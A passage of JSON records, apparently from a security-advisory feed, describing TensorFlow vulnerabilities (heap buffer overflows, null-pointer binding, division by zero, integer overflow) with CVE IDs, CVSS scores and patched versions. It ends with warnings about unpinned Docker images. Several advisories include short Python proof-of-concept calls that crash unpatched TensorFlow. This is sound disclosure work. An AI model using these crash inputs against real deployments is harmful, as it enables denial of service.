2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:51.720Z","updated_at":"2024-11-13T16:33:39.000Z","epss_percentage":0.00013,"epss_percentile":0.01487},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzeG0tcng1cC14dnFy","url":"https://github.com/advisories/GHSA-63xm-rx5p-xvqr","title":"Heap buffer overflow in Tensorflow","description":"### Impact\nThe implementation of `SparseFillEmptyRowsGrad` uses a double indexing pattern:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L263-L269\n\nIt is possible for `reverse_index_map(i)` to be an index outside of bounds of `grad_values`, thus resulting in a heap buffer overflow.\n\n### Patches\nWe have patched the issue in 390611e0d45c5793c7066110af37c8514e6a6c54 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-63xm-rx5p-xvqr","https://github.com/tensorflow/tensorflow/commit/390611e0d45c5793c7066110af37c8514e6a6c54","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15195","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-275.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-310.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-118.yaml","https://github.com/advisories/GHSA-63xm-rx5p-xvqr"],"source_kind":"github","identifiers":["GHSA-63xm-rx5p-xvqr","CVE-2020-15195"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.797Z","updated_at":"2024-10-28T20:21:03.000Z","epss_percentage":0.00355,"epss_percentile":0.56743},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpjODctNnZwcC03ZmYz","url":"https://github.com/advisories/GHSA-jc87-6vpp-7ff3","title":"Heap buffer overflow in Tensorflow","description":"### Impact\nThe `SparseCountSparseOutput` implementation does not validate that the input arguments form a valid sparse tensor. In particular, there is no validation that the `indices` tensor has the same shape as the `values` one. The values in these tensors are always accessed in parallel:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L193-L195\n\nThus, a shape mismatch can result in accesses outside the bounds of heap allocated buffers.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jc87-6vpp-7ff3","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15198","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-278.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-313.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-121.yaml","https://github.com/advisories/GHSA-jc87-6vpp-7ff3"],"source_kind":"github","identifiers":["GHSA-jc87-6vpp-7ff3","CVE-2020-15198"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":30.667086244278806,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.836Z","updated_at":"2024-10-28T19:58:01.000Z","epss_percentage":0.00169,"epss_percentile":0.38902},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTV4d2MtbXJoeC01ZzNt","url":"https://github.com/advisories/GHSA-5xwc-mrhx-5g3m","title":"Reference binding to nullptr in `MatrixDiagV*` ops","description":"### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixDiagV*`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixDiagV3(\n  diagonal=[1,0],\n  k=[],\n  num_rows=[1,2,3],\n  num_cols=[4,5],\n  padding_value=[],\n  align='RIGHT_RIGHT')\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong:\n\n```cc\n  auto\u0026 diag_index = context-\u003einput(1);\n  ...\n  lower_diag_index = diag_index.flat\u003cint32\u003e()(0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f2a673bd34f0d64b8e40a551ac78989d16daad09](https://github.com/tensorflow/tensorflow/commit/f2a673bd34f0d64b8e40a551ac78989d16daad09).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:42:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5xwc-mrhx-5g3m","https://nvd.nist.gov/vuln/detail/CVE-2021-37657","https://github.com/tensorflow/tensorflow/commit/f2a673bd34f0d64b8e40a551ac78989d16daad09","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-570.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-768.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-279.yaml","https://github.com/advisories/GHSA-5xwc-mrhx-5g3m"],"source_kind":"github","identifiers":["GHSA-5xwc-mrhx-5g3m","CVE-2021-37657"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.662Z","updated_at":"2024-11-13T20:52:28.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBnNTktMmY5Mi01Y3Bo","url":"https://github.com/advisories/GHSA-pg59-2f92-5cph","title":"Heap buffer overflow in Tensorflow","description":"### Impact\nThe `SparseCountSparseOutput` and `RaggedCountSparseOutput` implementations don't validate that the `weights` tensor has the same shape as the data. The check exists for `DenseCountSparseOutput`, where both tensors are fully specified:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L110-L117\n\nIn the sparse and ragged count weights are still accessed in parallel with the data:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L199-L201\n\nBut, since there is no validation, a user passing fewer weights than the values for the tensors can generate a read from outside the bounds of the heap buffer allocated for the weights.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pg59-2f92-5cph","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15196","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-276.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-311.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-119.yaml","https://github.com/advisories/GHSA-pg59-2f92-5cph"],"source_kind":"github","identifiers":["GHSA-pg59-2f92-5cph","CVE-2020-15196"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.845Z","updated_at":"2024-10-28T20:09:56.000Z","epss_percentage":0.00302,"epss_percentile":0.5276},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12NzgtZzd3cS1taHA0","url":"https://github.com/advisories/GHSA-mv78-g7wq-mhp4","title":"Division by zero in padding computation in TFLite","description":"### Impact\nThe TFLite computation for size of output after padding, [`ComputeOutSize`](https://github.com/tensorflow/tensorflow/blob/0c9692ae7b1671c983569e5d3de5565843d500cf/tensorflow/lite/kernels/padding.h#L43-L55), does not check that the `stride` argument is not 0 before doing the division.\n\n```cc\ninline int ComputeOutSize(TfLitePadding padding, int image_size,\n                          int filter_size, int stride, int dilation_rate = 1) {\n  int effective_filter_size = (filter_size - 1) * dilation_rate + 1;\n  switch (padding) {\n    case kTfLitePaddingSame:\n      return (image_size + stride - 1) / stride;\n    case kTfLitePaddingValid:\n      return (image_size + stride - effective_filter_size) / stride;\n    default:\n      return 0;\n  }\n}\n```\n  \nUsers can craft special models such that `ComputeOutSize` is called with `stride` set to 0.\n\n### Patches\nWe have patched the issue in GitHub commit [49847ae69a4e1a97ae7f2db5e217c77721e37948](https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mv78-g7wq-mhp4","https://nvd.nist.gov/vuln/detail/CVE-2021-29585","https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948","https://github.com/tensorflow/tensorflow/blob/0c9692ae7b1671c983569e5d3de5565843d500cf/tensorflow/lite/kernels/padding.h#L43-L55","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-513.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-711.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-222.yaml","https://github.com/advisories/GHSA-mv78-g7wq-mhp4"],"source_kind":"github","identifiers":["GHSA-mv78-g7wq-mhp4","CVE-2021-29585"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":11.195920374895437,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.092Z","updated_at":"2024-11-13T16:00:46.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS04amo3LTV2eGMtcGcycc0otA","url":"https://github.com/advisories/GHSA-8jj7-5vxc-pg2q","title":"Integer overflow in TensorFlow","description":"### Impact\nUnder certain scenarios, Grappler component of TensorFlow is vulnerable to an integer overflow during [cost estimation for crop and resize](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L2621-L2689). Since the cropping parameters are user controlled, a malicious person can trigger undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [0aaaae6eca5a7175a193696383f582f53adab23f](https://github.com/tensorflow/tensorflow/commit/0aaaae6eca5a7175a193696383f582f53adab23f).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:27:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8jj7-5vxc-pg2q","https://github.com/tensorflow/tensorflow/commit/0aaaae6eca5a7175a193696383f582f53adab23f","https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L2621-L2689","https://nvd.nist.gov/vuln/detail/CVE-2022-23587","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-96.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-151.yaml","https://github.com/advisories/GHSA-8jj7-5vxc-pg2q"],"source_kind":"github","identifiers":["GHSA-8jj7-5vxc-pg2q","CVE-2022-23587"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.648Z","updated_at":"2024-11-07T22:30:04.000Z","epss_percentage":0.00295,"epss_percentile":0.52462},{"uuid":"GSA_kwCzR0hTQS1nZjk3LXE3Mm0tNzU3Oc4AAyT2","url":"https://github.com/advisories/GHSA-gf97-q72m-7579","title":"TensorFlow has Null Pointer Error in RandomShuffle with XLA enable ","description":"### Impact\nNPE in RandomShuffle with XLA enable \n```python\nimport tensorflow as tf\n\nfunc = tf.raw_ops.RandomShuffle\npara = {'value': 1e+20, 'seed': -4294967297, 'seed2': -2147483649}\n\n@tf.function(jit_compile=True)\ndef test():\n   y = func(**para)\n   return y\n\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [728113a3be690facad6ce436660a0bc1858017fa](https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:54:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gf97-q72m-7579","https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa","https://nvd.nist.gov/vuln/detail/CVE-2023-25674","https://github.com/advisories/GHSA-gf97-q72m-7579"],"source_kind":"github","identifiers":["GHSA-gf97-q72m-7579","CVE-2023-25674"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.294Z","updated_at":"2023-03-30T22:19:30.000Z","epss_percentage":0.00187,"epss_percentile":0.41164},{"uuid":"GSA_kwCzR0hTQS01dzk2LTg2NmYtNnJtOM4AAyTy","url":"https://github.com/advisories/GHSA-5w96-866f-6rm8","title":"TensorFlow has Floating Point Exception in TFLite in conv kernel","description":"### Impact\nConstructing a tflite model with a paramater `filter_input_channel` of less than 1 gives a FPE.\n\n\n### Patches\nWe have patched the issue in GitHub commit [34f8368c535253f5c9cb3a303297743b62442aaa](https://github.com/tensorflow/tensorflow/commit/34f8368c535253f5c9cb3a303297743b62442aaa).\n\nThe fix will be included in TensorFlow 2.12. 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This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\nhandle = tf.constant(\"[]\", shape=[0], dtype=tf.string)\ntf.raw_ops.DeleteSessionTensor(handle=handle)\n```\n  \nThe code assumes `handle` is a scalar but there is no validation for this:\n  \n```cc\n    const Tensor\u0026 handle = ctx-\u003einput(0);\n    const string\u0026 name = handle.scalar\u003ctstring\u003e()();\n```\n\n### Patches\nWe have patched the issue in GitHub commit [cff267650c6a1b266e4b4500f69fbc49cdd773c5](https://github.com/tensorflow/tensorflow/commit/cff267650c6a1b266e4b4500f69fbc49cdd773c5).\n\nThe fix will be included in TensorFlow 2.9.0. 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tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: 